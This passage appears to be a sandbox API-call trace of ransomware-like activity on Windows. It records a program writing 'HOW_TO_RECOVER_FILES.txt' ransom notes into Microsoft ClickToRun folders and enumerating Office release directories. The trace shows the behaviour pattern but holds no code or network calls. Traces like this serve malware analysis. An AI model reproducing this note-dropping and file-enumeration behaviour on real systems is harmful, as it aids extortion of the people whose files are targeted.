lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0083.466] CloseHandle (hObject=0x6b4) returned 1 [0083.466] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x54 [0083.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0083.466] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0083.466] GetFileType (hFile=0x6b4) returned 0x1 [0083.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0083.466] GetFileType (hFile=0x6b4) returned 0x1 [0083.467] WriteFile (in: hFile=0x6b4, lpBuffer=0x331b230*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x331b230*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0083.468] CloseHandle (hObject=0x6b4) returned 1 [0083.468] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0083.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0083.468] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0083.469] GetFileType (hFile=0x6b4) returned 0x1 [0083.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0083.469] GetFileType (hFile=0x6b4) returned 0x1 [0083.470] WriteFile (in: hFile=0x6b4, lpBuffer=0x331eaa8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x331eaa8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0083.471] CloseHandle (hObject=0x6b4) returned 1 [0083.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0083.471] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases", lpFilePart=0x0) returned 0x33 [0083.471] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0083.474] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.474] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", cAlternateFileName="5A65C4~1")) returned 1 [0083.474] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1 [0083.475] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0 [0083.475] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0083.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0083.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0083.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0083.476] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases", lpFilePart=0x0) returned 0x33 [0083.476] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0083.476] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.477] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", cAlternateFileName="5A65C4~1")) returned 1 [0083.477] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1 [0083.477] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0083.477] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0083.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0083.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0083.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0083.478] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpFilePart=0x0) returned 0x58 [0083.478] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0083.479] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.479] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0083.479] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0083.479] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0083.479] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0083.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0083.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0083.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0083.480] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F", lpFilePart=0x0) returned 0x58 [0083.480] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0083.480] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.480] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0083.480] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0083.480] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0083.480] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0083.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0083.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0083.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0083.481] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", lpFilePart=0x0) returned 0x61 [0083.481] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0084.099] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.099] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd19cd600, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0084.099] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0084.099] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x1dff67, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.Culture.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0084.100] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 [0084.100] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0084.100] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.100] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0084.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0084.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0084.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0084.101] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16", lpFilePart=0x0) returned 0x61 [0084.101] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0084.102] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.102] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd19cd600, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0084.102] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0084.102] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x1dff67, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.Culture.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0084.102] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 